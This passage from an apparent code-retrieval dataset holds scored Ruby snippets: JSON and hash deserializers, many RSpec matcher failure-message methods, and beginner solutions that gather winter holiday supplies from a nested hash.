"docid": "21eced573e2cd665e01a184c3bd85a38",
"score": "0.6014705",
"text": "def init_jaxb_json_hash(_o)\n @groupId = String.from_json(_o['groupId']) unless _o['groupId'].nil?\n @artifactId = String.from_json(_o['artifactId']) unless _o['artifactId'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @packaging = String.from_json(_o['packaging']) unless _o['packaging'].nil?\n @className = String.from_json(_o['className']) unless _o['className'].nil?\n if !_o['repositories'].nil?\n @repositories = Array.new\n _oa = _o['repositories']\n _oa.each { | _item | @repositories.push String.from_json(_item) }\n end\n @bundleVersion = String.from_json(_o['bundleVersion']) unless _o['bundleVersion'].nil?\n @bundleSymbolicName = String.from_json(_o['bundleSymbolicName']) unless _o['bundleSymbolicName'].nil?\n @bundleExportPackage = String.from_json(_o['bundleExportPackage']) unless _o['bundleExportPackage'].nil?\n @bundleExportService = String.from_json(_o['bundleExportService']) unless _o['bundleExportService'].nil?\n @classifier = String.from_json(_o['classifier']) unless _o['classifier'].nil?\n @includePomArtifacts = Boolean.from_json(_o['includePomArtifacts']) unless _o['includePomArtifacts'].nil?\n @queryTerms = String.from_json(_o['queryTerms']) unless _o['queryTerms'].nil?\n @bundleImportPackage = String.from_json(_o['bundleImportPackage']) unless _o['bundleImportPackage'].nil?\n @bundleRequireBundle = String.from_json(_o['bundleRequireBundle']) unless _o['bundleRequireBundle'].nil?\n @pageSize = Fixnum.from_json(_o['pageSize']) unless _o['pageSize'].nil?\n @selectedPage = Fixnum.from_json(_o['selectedPage']) unless _o['selectedPage'].nil?\n end",
"title": ""
},
{
"docid": "e2797b9bb1f210b43530919bf60bd590",
"score": "0.6008574",
"text": "def initialize(order_hash)\n @id = order_hash['id']\n @number = order_hash['number']\n @special_instructions = order_hash['special_instructions']\n @total = order_hash['total']\n @total_quantity = order_hash['total_quantity']\n @created_at = order_hash['created_at']\n @updated_at = order_hash['updated_at']\n end",
"title": ""
},
{
"docid": "dbe8e8a723008579f6c9b98a83703c9d",
"score": "0.60031897",
"text": "def from_db_hash *args\n from_hash *args\n end",
"title": ""
},
{
"docid": "96d84704c2ead6d2326e6a56f16dd129",
"score": "0.60024095",
"text": "def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"title": ""
},
{
"docid": "96d84704c2ead6d2326e6a56f16dd129",
"score": "0.60024095",
"text": "def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"title": ""
},
{
"docid": "96d84704c2ead6d2326e6a56f16dd129",
"score": "0.60024095",
"text": "def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"title": ""
}
] |
34e110b7a591ba71fb7098cd6e601fcd | ==== Returns String:: The failure message to be displayed in negative matches. | [
{
"docid": "19be10aa60d04570426fcc96af410538",
"score": "0.0",
"text": "def negative_failure_message\n \"expected#{inspect_target} not to redirect\"\n end",
"title": ""
}
] | [
{
"docid": "1352e6afa115f0921eabd6d1d66423e9",
"score": "0.85243374",
"text": "def negative_failure_message\n \"expected #{actual_text} not to contains #{@expected}, but it did\"\n end",
"title": ""
},
{
"docid": "980a1ea340034dbfa243a6efb80e3d3e",
"score": "0.84731275",
"text": "def negative_failure_message\n \"Expected not to match against <#{@name} #{@attrs.map{ |a,v| \"#{a}=\\\"#{v}\\\"\" }.join(\" \")}> tag, but it matched\"\n end",
"title": ""
},
{
"docid": "575caa6b61bb3bce2c8d42538d1a5a6a",
"score": "0.83133525",
"text": "def negative_failure_message\n \"OMG FAIL TO FAIL.\"\n end",
"title": ""
},
{
"docid": "4b76620cbf7d635ab57122ed76e43aa8",
"score": "0.8279538",
"text": "def negative_failure_message\n\t\t\tif @expected_status\n\t\t\t\treturn \"expected %s\" % self.description\n\t\t\telse\n\t\t\t\treturn \"expected a normal return, but applet finished with %d (%s): %s\"\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "4b76620cbf7d635ab57122ed76e43aa8",
"score": "0.8279538",
"text": "def negative_failure_message\n\t\t\tif @expected_status\n\t\t\t\treturn \"expected %s\" % self.description\n\t\t\telse\n\t\t\t\treturn \"expected a normal return, but applet finished with %d (%s): %s\"\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "ccb761dedbe62f1a8b895c229791300a",
"score": "0.8173118",
"text": "def negative_failure_message\n \"expected #{@target.name} not to provide #{@expected}, but it does\"\n end",
"title": ""
},
{
"docid": "c55bc7a54299631b70204b42a8dcf874",
"score": "0.8144735",
"text": "def failure_message\n failed_matcher.failure_message\n end",
"title": ""
},
{
"docid": "105af8508deb768ad0f5e8743cfc9919",
"score": "0.81231856",
"text": "def negative_failure_message\n @error_message || \"expected following output to omit a #{tag_for_error} tag:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "7d50487d3668a12a2bb4aee9df12dd65",
"score": "0.80656725",
"text": "def failure_message\n actual = prettify_args(@actual)\n\n \"'#{actual}' should #{pretty_matcher} '#{@expected}'\"\n end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "f67368ff87c274cfa3d096034c4bb5a6",
"score": "0.7924873",
"text": "def negative_failure_message; end",
"title": ""
},
{
"docid": "cb47f6ab1f26d5a6f8b6e166352893af",
"score": "0.7911015",
"text": "def failure_message\n \"expected #{actual_text} not to contains #{@expected}, but it did't\"\n end",
"title": ""
},
{
"docid": "5a734189513bcbb5895809772ac19a26",
"score": "0.7897293",
"text": "def negative_failure_message\n \"expected document to not #{description}; got: #{@rendered}\"\n end",
"title": ""
},
{
"docid": "7cc02e689e0abf9f306dfa0046c1fb19",
"score": "0.7854053",
"text": "def failure_message\n actual = prettify_args(@actual)\n matcher = prettify_matcher(@expected.metadata[:name])\n\n if @expected.metadata[:args].count > 0\n args = prettify_args(*@expected.metadata[:args])\n\n \"'#{actual}' should all #{matcher} '#{args}'\"\n else\n \"'#{actual}' should all #{matcher}\"\n end\n end",
"title": ""
},
{
"docid": "52063da4b18df8b404263180ef5d21af",
"score": "0.7822316",
"text": "def failure_message_when_negated\n\t\t\treturn \"expected response not to finish_with %s\" % [ @failure ]\n\t\tend",
"title": ""
},
{
"docid": "d18c0d752a68cd2fed48b5fff475b247",
"score": "0.78108186",
"text": "def failure_message_when_negated\n actual = prettify_args(@actual)\n\n \"'#{actual}' should not #{pretty_matcher} '#{@expected}'\"\n end",
"title": ""
},
{
"docid": "67593c99383143923cffa46db5942de9",
"score": "0.77697104",
"text": "def negative_failure_message\n \"expected#{inspect_target} not to be successful but it was #{status_code}\"\n end",
"title": ""
},
{
"docid": "9384aa2a301814ddf3af2c68d843cef3",
"score": "0.77564013",
"text": "def failure_message_when_negated; end",
"title": ""
},
{
"docid": "9384aa2a301814ddf3af2c68d843cef3",
"score": "0.77564013",
"text": "def failure_message_when_negated; end",
"title": ""
},
{
"docid": "883485d9e7cb519e9947c19dc1df0e6f",
"score": "0.7753638",
"text": "def failure_message_when_negated\n actual = prettify_args(@actual)\n matcher = prettify_matcher(@expected.metadata[:name])\n\n if @expected.metadata[:args].count > 0\n args = prettify_args(*@expected.metadata[:args])\n\n \"'#{actual}' should not all #{matcher} '#{args}'\"\n else\n \"'#{actual}' should not all #{matcher}\"\n end\n end",
"title": ""
},
{
"docid": "593ece21f149b104b1483c7330f02e8e",
"score": "0.769695",
"text": "def failure_message\n \"expected #{@expected}, but got #{@actual}\"\n end",
"title": ""
},
{
"docid": "fa4c95ba86969fa80a7136a33aa2f05a",
"score": "0.76947635",
"text": "def failure_message_when_negated\n\t\t\treturn \"%p: %s\" % [ self.state, self.describe_negated_failure ]\n\t\tend",
"title": ""
},
{
"docid": "9cdcdeeb38e45bf77bc3507352f1c765",
"score": "0.7687789",
"text": "def negative_failure_message\n \"expected following text to not match selector #{@expected} (#{@query}):\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "8658ab27b8150a9ef4ebf463716f473d",
"score": "0.76598006",
"text": "def failure_message_when_negated\n \"expected '#{actual_text}' not to contain '#{@expected}', but it did\"\n end",
"title": ""
},
{
"docid": "53fdecef6ad69883a70bd7ef7687b028",
"score": "0.76542515",
"text": "def failure_message_when_negated\n \"expected #{@actual.inspect} not to #{description}\"\n end",
"title": ""
},
{
"docid": "8cac650a7675624ee114f3e93aece309",
"score": "0.7646264",
"text": "def describe_negated_failure\n\t\t\tdesc = String.new( \"expected not to transition\" )\n\t\t\tdesc << \" via %s\" % [ self.expected_type ] if self.expected_type\n\t\t\tdesc << \" to %s\" % [ self.target_state ] if self.target_state\n\n\t\t\tdesc << ', but it did.'\n\n\t\t\treturn desc\n\t\tend",
"title": ""
},
{
"docid": "1bce365e744be109375fbb1cdba40512",
"score": "0.76424253",
"text": "def negative_failure_message\n \"expected the route not to contain parameters #{@expected.inspect}, but it did\"\n end",
"title": ""
},
{
"docid": "118e7bc495fd3c00a9d83445d1f8556d",
"score": "0.76386684",
"text": "def failure_message_for_should_not\n\t\treturn \"Expected the response not to %s, but it did.\" % [\n\t\t\tSTATUS_NAMES[ @expected_code.to_i ]\n\t\t]\n\tend",
"title": ""
},
{
"docid": "e6e9dae1a2eaaf0472f08557a9e58fa4",
"score": "0.76272273",
"text": "def failure_message\n \"expected '#{actual_text}' to contain '#{@expected}', but it didn't\"\n end",
"title": ""
},
{
"docid": "104a281c7998a9fbb9045f6da75a2f80",
"score": "0.762332",
"text": "def negative_failure_message\n \"expected following text to not match selector #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "a5940130b377a33d219381e9054361a2",
"score": "0.76101404",
"text": "def negative_failure_message\n \"expected following text to not match selector #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "a5940130b377a33d219381e9054361a2",
"score": "0.76101404",
"text": "def negative_failure_message\n \"expected following text to not match selector #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "a5940130b377a33d219381e9054361a2",
"score": "0.76101404",
"text": "def negative_failure_message\n \"expected following text to not match selector #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "4211971461f0d9653bebed55339337b4",
"score": "0.76044893",
"text": "def failure_message\n assert_ivars :@actual, :@expecteds\n name_to_sentence = 'include'\n # FIXME: DRY up these messages across cases and across should and should_not\n if @before_expected\n \"expected response to #{name_to_sentence} #{doc_label_str(@expecteds)}#{to_sentence(@expecteds)} before #{doc_label_str(@before_expected)} matching #{@before_expected.inspect}: #{@actual.inspect} \"\n elsif @min_for_last_matching_doc_pos\n \"expected each of the first #{@min_for_last_matching_doc_pos} documents to #{name_to_sentence}#{to_sentence(@expecteds)} in response: #{@actual.inspect}\"\n elsif @max_doc_position\n \"expected response to #{name_to_sentence} #{doc_label_str(@expecteds)}#{to_sentence(@expecteds)} in first #{@max_doc_position} results: #{@actual.inspect}\"\n else\n super\n end\n end",
"title": ""
},
{
"docid": "702f9cf5b53fff3ac674350499ed6750",
"score": "0.75909364",
"text": "def negative_failure_message\n \"expected following text to not match xpath #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "702f9cf5b53fff3ac674350499ed6750",
"score": "0.75909364",
"text": "def negative_failure_message\n \"expected following text to not match xpath #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "b2d6736bf20da4dda4d88b68e0ed6969",
"score": "0.7575429",
"text": "def failure_message\n\t\t\treturn \"\\n---\\n%s\\n---\\n\\nReason: %s\\n\" % [\n\t\t\t\tself.pretty_print_response,\n\t\t\t\tself.failure_description\n\t\t\t]\n\t\tend",
"title": ""
},
{
"docid": "24f63f0d891e4a6f4dc23818902f73ff",
"score": "0.75724953",
"text": "def failure_message\n \"expected #{@actual.inspect} to #{description}\"\n end",
"title": ""
},
{
"docid": "2ff826a368fd34d1c6f645c1d70cd998",
"score": "0.7570398",
"text": "def negative_failure_message\n \"expected the request not to route to #{@expected_controller.camel_case}##{@expected_action}#{expected_parameters_message}, but it did\"\n end",
"title": ""
},
{
"docid": "c2f6d40b94e4b6ea8b76e6924147534c",
"score": "0.75540465",
"text": "def optimal_failure_message(same, inverted); end",
"title": ""
},
{
"docid": "507b13ff3799d8a93a8a130d09744289",
"score": "0.7547885",
"text": "def negative_failure_message\n \"expected the following element's content to not #{content_message}:\\n#{@element}\"\n end",
"title": ""
},
{
"docid": "7ef5fe45021f70cd982dbc11001eefcc",
"score": "0.7541665",
"text": "def negative_failure_message\n \"expected the following element's content to not #{content_message}:\\n#{@element.inner_text}\"\n end",
"title": ""
},
{
"docid": "7ef5fe45021f70cd982dbc11001eefcc",
"score": "0.7541665",
"text": "def negative_failure_message\n \"expected the following element's content to not #{content_message}:\\n#{@element.inner_text}\"\n end",
"title": ""
},
{
"docid": "7ff2e3a6e7b9e8ca6a0427622cc36c02",
"score": "0.7535945",
"text": "def negative_failure_message\n \"expected the following element's content to not #{content_message}:\\n#{@element}\"\n end",
"title": ""
},
{
"docid": "7ff2e3a6e7b9e8ca6a0427622cc36c02",
"score": "0.7535945",
"text": "def negative_failure_message\n \"expected the following element's content to not #{content_message}:\\n#{@element}\"\n end",
"title": ""
},
{
"docid": "0bd332f5e404151f33c1d9eb4e907e43",
"score": "0.7519934",
"text": "def failure_message\n \"expected #{@target.name} to provide #{@expected}, but it doesn't\"\n end",
"title": ""
},
{
"docid": "be858e566c9484b43fc56376f27658b6",
"score": "0.75160855",
"text": "def negative_failure_message\n \"expected following text to not match xpath #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "be858e566c9484b43fc56376f27658b6",
"score": "0.75160855",
"text": "def negative_failure_message\n \"expected following text to not match xpath #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "71f7530bdfc0675dad49ccef555c4800",
"score": "0.75145584",
"text": "def negative_failure_message\n \"expected #{@actual.inspect} not to have_many #{@expected.inspect}, but it did\"\n end",
"title": ""
},
{
"docid": "3690c00c49329c4f41b342ef9cde5e26",
"score": "0.7512525",
"text": "def failure_message_when_negated\n assert_ivars :@actual, :@expecteds\n name_to_sentence = 'include'\n if @before_expected\n \"expected response not to #{name_to_sentence} #{doc_label_str(@expecteds)}#{to_sentence(@expecteds)} before #{doc_label_str(@before_expected)} matching #{@before_expected.inspect}: #{@actual.inspect} \"\n elsif @min_for_last_matching_doc_pos\n \"expected some of the first #{@min_for_last_matching_doc_pos} documents not to #{name_to_sentence}#{to_sentence(@expecteds)} in response: #{@actual.inspect}\"\n elsif @max_doc_position\n \"expected response not to #{name_to_sentence} #{doc_label_str(@expecteds)}#{to_sentence(@expecteds)} in first #{@max_doc_position} results: #{@actual.inspect}\"\n else\n super\n end\n end",
"title": ""
},
{
"docid": "40e47a13b0383cb7f705779a6f7f7ec6",
"score": "0.75013804",
"text": "def failure_message\n\t\t\tif @actual\n\t\t\t\treturn \"expected %s, got %p\" % [\n\t\t\t\t\tself.expectation_description,\n\t\t\t\t\t@actual\n\t\t\t\t]\n\t\t\telse\n\t\t\t\treturn \n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "40e47a13b0383cb7f705779a6f7f7ec6",
"score": "0.75013804",
"text": "def failure_message\n\t\t\tif @actual\n\t\t\t\treturn \"expected %s, got %p\" % [\n\t\t\t\t\tself.expectation_description,\n\t\t\t\t\t@actual\n\t\t\t\t]\n\t\t\telse\n\t\t\t\treturn \n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "39d556bd01494c24989d955e2241a0ae",
"score": "0.7494635",
"text": "def negative_failure_message\n \"expected#{inspect_target} not to be missing but it was #{status_code}\"\n end",
"title": ""
},
{
"docid": "e657085b946da09d02e5f704c6dbe3f2",
"score": "0.7492832",
"text": "def expectation_fail_to_s\n \"match #{@regexp}, got '#{@failed_value.inspect}'\"\n end",
"title": ""
},
{
"docid": "159e16e5b790ab113f87a29c3f347be1",
"score": "0.7440101",
"text": "def negative_failure_message\n \"expected following text to not match xpath #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "159e16e5b790ab113f87a29c3f347be1",
"score": "0.7440101",
"text": "def negative_failure_message\n \"expected following text to not match xpath #{@expected}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "9eae976a497b12c15a662a44bf0cbd2e",
"score": "0.7426276",
"text": "def failure_message_when_negated\n\t\t\tmsg = \"expected response not to have a %s\" % [ self.describe_type_expectation ]\n\t\t\tmsg << \" and \" << self.describe_additional_expectations.join( ', ' ) unless\n\t\t\t\tself.additional_expectations.emtpy?\n\t\t\tmsg << \", but it did.\"\n\n\t\t\treturn \"\\n---\\n%s\\n---\\n\\nReason: %s\\n\" % [\n\t\t\t\tself.pretty_print_response,\n\t\t\t\tmsg\n\t\t\t]\n\t\tend",
"title": ""
},
{
"docid": "b39047d83f84b47d9683e1c76492afdb",
"score": "0.74169254",
"text": "def failure_message_when_negated\n \"expected #{@actual.inspect} not to be #{type_string}\"\n end",
"title": ""
},
{
"docid": "d4159e7ec6270ef302d79f1ee9997193",
"score": "0.74003696",
"text": "def failure_message_when_negated\n message = \"expected #{@actual.inspect} not to respond to :#{@expected}\"\n message << \" and return #{value_to_string}\" if @value_set\n\n errors = []\n errors << \"responded to :#{@expected}\" if @matches_reader\n errors << \"returned #{@actual.send(@expected).inspect}\" if @matches_reader_value\n\n message << \", but #{errors.join(\" and \")}\"\n message\n end",
"title": ""
},
{
"docid": "3b7b88568efcf763bb7d944a5dfd69f9",
"score": "0.7395163",
"text": "def failure_message\n unmet_expecations_messages << errors.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "32de9d82fb582c809d13c0dc40057336",
"score": "0.7387344",
"text": "def failure_message_when_negated\n message = \"expected #{@actual.inspect} not to respond to :#{@expected}?\"\n message << \" and return #{value_to_string}\" if @value_set\n message\n end",
"title": ""
},
{
"docid": "4691d073c3311ba116c3c3b9c8c37838",
"score": "0.73761034",
"text": "def negative_failure_message\n \"expected #{inspect_target} not to redirect to <#{@expected}>, but did anyway\"\n end",
"title": ""
},
{
"docid": "0951c4980ef94fd2484579d1a0fc6ca5",
"score": "0.7374299",
"text": "def failure(msg = nil)\n msg = \"Error in #{self.class}\" if msg.nil?\n \"<strong style=\\\"color: red\\\">#{msg.to_xs}</strong>\"\n end",
"title": ""
},
{
"docid": "4997d7a0fb36c67ee2341b126ed1b04c",
"score": "0.7368772",
"text": "def failure_message_for_should_not\n\t\t\treturn \"expected response not to finish_with %s\" % [ @failure ]\n\t\tend",
"title": ""
},
{
"docid": "94a26785660ee578e9a228d3dec5e034",
"score": "0.73626214",
"text": "def failure_message_when_negated\n raise \"not implemented\"\n end",
"title": ""
},
{
"docid": "d22ca99b605dc3441ed9ddcd0190d843",
"score": "0.7362617",
"text": "def failure_message_for_should_not\n Remarkable.t 'remarkable.core.failure_message_for_should_not', :expectation => @expectation\n end",
"title": ""
},
{
"docid": "079f2f348917f9816d182ce2b0b29aa2",
"score": "0.7351465",
"text": "def negative_failure_message\n \"expected the response to be different to #{@status_code}\"\n end",
"title": ""
},
{
"docid": "36f5883245d184574af371f2f892fbf6",
"score": "0.7349089",
"text": "def failure_message_for_should_not \n [\"Did not expect #{comparison}#{@msg_count} W3C validation #{type} but received #{notices.length} #{type}\",\n summary \n ].join(\"\\n\")\n end",
"title": ""
},
{
"docid": "4f5c23aa502d0e1415ff6f20e0c3951f",
"score": "0.7300267",
"text": "def failure_message\n @error_message || \"expected following output to contain a #{tag_for_error} tag:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "911cefe11728665d7d93b2d7b15e3b80",
"score": "0.7250175",
"text": "def failure_message\n @errors[0]\n end",
"title": ""
},
{
"docid": "911cefe11728665d7d93b2d7b15e3b80",
"score": "0.7250175",
"text": "def failure_message\n @errors[0]\n end",
"title": ""
},
{
"docid": "c8ed4a743f7b0c6e492b0f5ac3110e7b",
"score": "0.7233992",
"text": "def failure_message\n \"#{@failure_message} - parsed response: #{pretty_response}\"\n end",
"title": ""
},
{
"docid": "002c85eeaf2a44760bf5484937d0773b",
"score": "0.7228258",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "002c85eeaf2a44760bf5484937d0773b",
"score": "0.7228258",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "002c85eeaf2a44760bf5484937d0773b",
"score": "0.7228258",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "1c78e98cab41be4d47792818d5f2079f",
"score": "0.72248906",
"text": "def failure_message\n \"OMG FAIL.\"\n end",
"title": ""
},
{
"docid": "2d103156bbf7d81d1b83ca42eee2757b",
"score": "0.7207849",
"text": "def failure_message\n return @error_message unless @error_message.nil?\n _old_failure_message\n end",
"title": ""
},
{
"docid": "ea5a5092bfc0c279085619e9ccef52da",
"score": "0.7198083",
"text": "def failure_message_for_should \n [\"Expected #{comparison}#{@msg_count} W3C validation #{type} but received #{notices.length} #{type}\",\n summary \n ].join(\"\\n\")\n end",
"title": ""
},
{
"docid": "491899f5d424527edb1bb1de1f0dd5b1",
"score": "0.71959597",
"text": "def failure_message_when_negated\n \"expected not to send #{base_message}\"\n end",
"title": ""
},
{
"docid": "1e40be8f0efa5fb40d7b951cb6e5984a",
"score": "0.71927047",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "560607d972e8f7e42be0c35b41c1c7bb",
"score": "0.71916515",
"text": "def failure_message\n\t\t\treturn \"%p: %s\" % [ self.state, self.describe_failure ]\n\t\tend",
"title": ""
},
{
"docid": "dde62a3ce705082ee5d40b33f3de0675",
"score": "0.7146729",
"text": "def failure() #=> TODO put somewhere global\n return \" FAILURE: \".colorize(:color => :black,\n :background => :red) + \" \"\nend",
"title": ""
},
{
"docid": "f0168ab14c7346094d03aa05a89e0c42",
"score": "0.71446216",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "f42b996ec96a2c97334c726f007be0cb",
"score": "0.71349245",
"text": "def failure_message\n\t\t\treturn \"expected response to finish_with %s\" % [ @failure ]\n\t\tend",
"title": ""
},
{
"docid": "ce896b64534ec78175d1e45b8282bdc3",
"score": "0.71326476",
"text": "def failure_message_for_should\n Remarkable.t 'remarkable.core.failure_message_for_should', :expectation => @expectation\n end",
"title": ""
},
{
"docid": "630462f10163d273be2396565382a3b4",
"score": "0.71240133",
"text": "def failure_message_for_should\n\t\t\treturn \"expected response to finish_with %s\" % [ @failure ]\n\t\tend",
"title": ""
},
{
"docid": "823a4de3b5259c0dc469f40b86fb101e",
"score": "0.71174675",
"text": "def failure_message; end",
"title": ""
},
{
"docid": "823a4de3b5259c0dc469f40b86fb101e",
"score": "0.71174675",
"text": "def failure_message; end",
"title": ""
},
{
"docid": "823a4de3b5259c0dc469f40b86fb101e",
"score": "0.71174675",
"text": "def failure_message; end",
"title": ""
},
{
"docid": "1fbf1efc2821cd71db88a4a1f7ba6cbe",
"score": "0.71140784",
"text": "def failure_message_for_should_not\n \"expected that #{@expected} would not be a vat id\"\n end",
"title": ""
},
{
"docid": "634669b3c44d2b134c3735cbf9a9548c",
"score": "0.7056606",
"text": "def failure_message_when_negated\n message =\n \"expected #{@actual.inspect} not to delegate :#{@expected} to \"\\\n \"#{@target.inspect}\"\n\n message << format_arguments << format_return_values\n end",
"title": ""
},
{
"docid": "3cf3950ffb358d3807902baa06730660",
"score": "0.704454",
"text": "def message_failure(options)\n message = 'FAILED'\n\n if options[:color] \n return message.red.bold\n else\n return message\n end\n end",
"title": ""
},
{
"docid": "8567f105521962a11fd23454289e0733",
"score": "0.70301414",
"text": "def failure_message(failure)\n return failure.message unless roby_exception?(failure)\n\n io = StringIO.new\n Roby.display_exception(io, failure.error)\n io.string\n end",
"title": ""
}
] |
f013fa152527b4862ddf6d70ff1b2f3d | 5. Write a method to collect all Winter supplies from all the winter holidays. ex: `winter_suppliers(holiday_supplies) => ["Lights", "Wreath", etc]` | [
{
"docid": "20315f562f57c74468ea3237fc8d4725",
"score": "0.785249",
"text": "def winter_supplies(holiday_supplies)\n winter_supplies = []\n holiday_supplies[:winter].each do | holiday, supply_array |\n supply_array.each {|supply| winter_supplies << supply}\n end\n winter_supplies\nend",
"title": ""
}
] | [
{
"docid": "a9a20502d4b622ba890eb5699917a9a2",
"score": "0.8606174",
"text": "def winter_suppliers(holiday_supplies)\n\twinter_suppliers = []\n\tholiday_supplies.each do |season, hash|\n\t\tif season == \"winter\"\n\t\t\thash.each do |holiday, array|\n\t\t\t\tarray.each do |supplies|\n\t\t\t\t\twinter_suppliers << supplies\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\twinter_suppliers\nend",
"title": ""
},
{
"docid": "aa12fb4e13c94bb3ce62ead3a9e56bf6",
"score": "0.83409727",
"text": "def winter_supplies(holiday_supplies)\n holiday_supplies[:winter].collect do |holiday, supplies|\n supplies\n end.flatten\nend",
"title": ""
},
{
"docid": "2f3c0fbf34a6e84a87099448620cae38",
"score": "0.8340362",
"text": "def winter_supplies(holiday_supplies)\n holiday_supplies[:winter].map do |holidays, supplies|\n supplies\n end.flatten\n end",
"title": ""
},
{
"docid": "1ba8dd65cef09d85a3d88cb97e2e3962",
"score": "0.81835693",
"text": "def winter_supplies(list)\n supplies = list[:winter].collect do |holiday|\n holiday.collect {|supplies| supplies}\n end\n\n supplies.flatten.select! {|entry| entry.is_a?(String) }\nend",
"title": ""
},
{
"docid": "1c9182a23e3259509854ae119fbae4a3",
"score": "0.8174333",
"text": "def wintersupplies\n winter_supplies = []\n holiday_supplies[:winter].collect do |holiday,suppliesarray|\n suppliesarray.collect do |supplies|\n winter_supplies << supplies\n end\n end\n winter_supplies\nend",
"title": ""
},
{
"docid": "52f9d33816c359588bf2c2ed5a647491",
"score": "0.79924923",
"text": "def all_winter_holiday_supplies(holiday_hash)\n holiday_hash[:winter].collect do |holiday, supplies|\n supplies\n end.flatten\nend",
"title": ""
},
{
"docid": "5342b5fb0405bff1b58b3a8472b947c1",
"score": "0.79005957",
"text": "def all_winter_holiday_supplies(holiday_hash)\r\n # return an array of all of the supplies that are used in the winter season\r\n\r\n winter_list = []\r\n holiday_hash[:winter].values.each { |list|\r\n for supply in list\r\n winter_list << supply\r\n end\r\n }\r\n return winter_list\r\nend",
"title": ""
},
{
"docid": "c7c6aa4ed6825e79cfbf484cddde35d7",
"score": "0.7891162",
"text": "def all_winter_holiday_supplies(holiday_hash)\n # return an array of all of the supplies that are used in the winter season\n ans = []\nholiday_hash.each do | key, holiday|\n if key == :winter\n holiday.collect do | holiday_name, decor|\n ans << decor\n end\n end \nend \nans = ans.flatten\nend",
"title": ""
},
{
"docid": "5d7f10fb0bab78b05b65f6a0e1c2decf",
"score": "0.78909117",
"text": "def winter_suppliers(holiday_supplies)\n supplies = []\n holiday_supplies[:winter].each do |keys, value|\n value.each do |item| \n supplies << item\n end\n end\n supplies\nend",
"title": ""
},
{
"docid": "a4bdbbd9898f0fc29a9c442eec579787",
"score": "0.78356713",
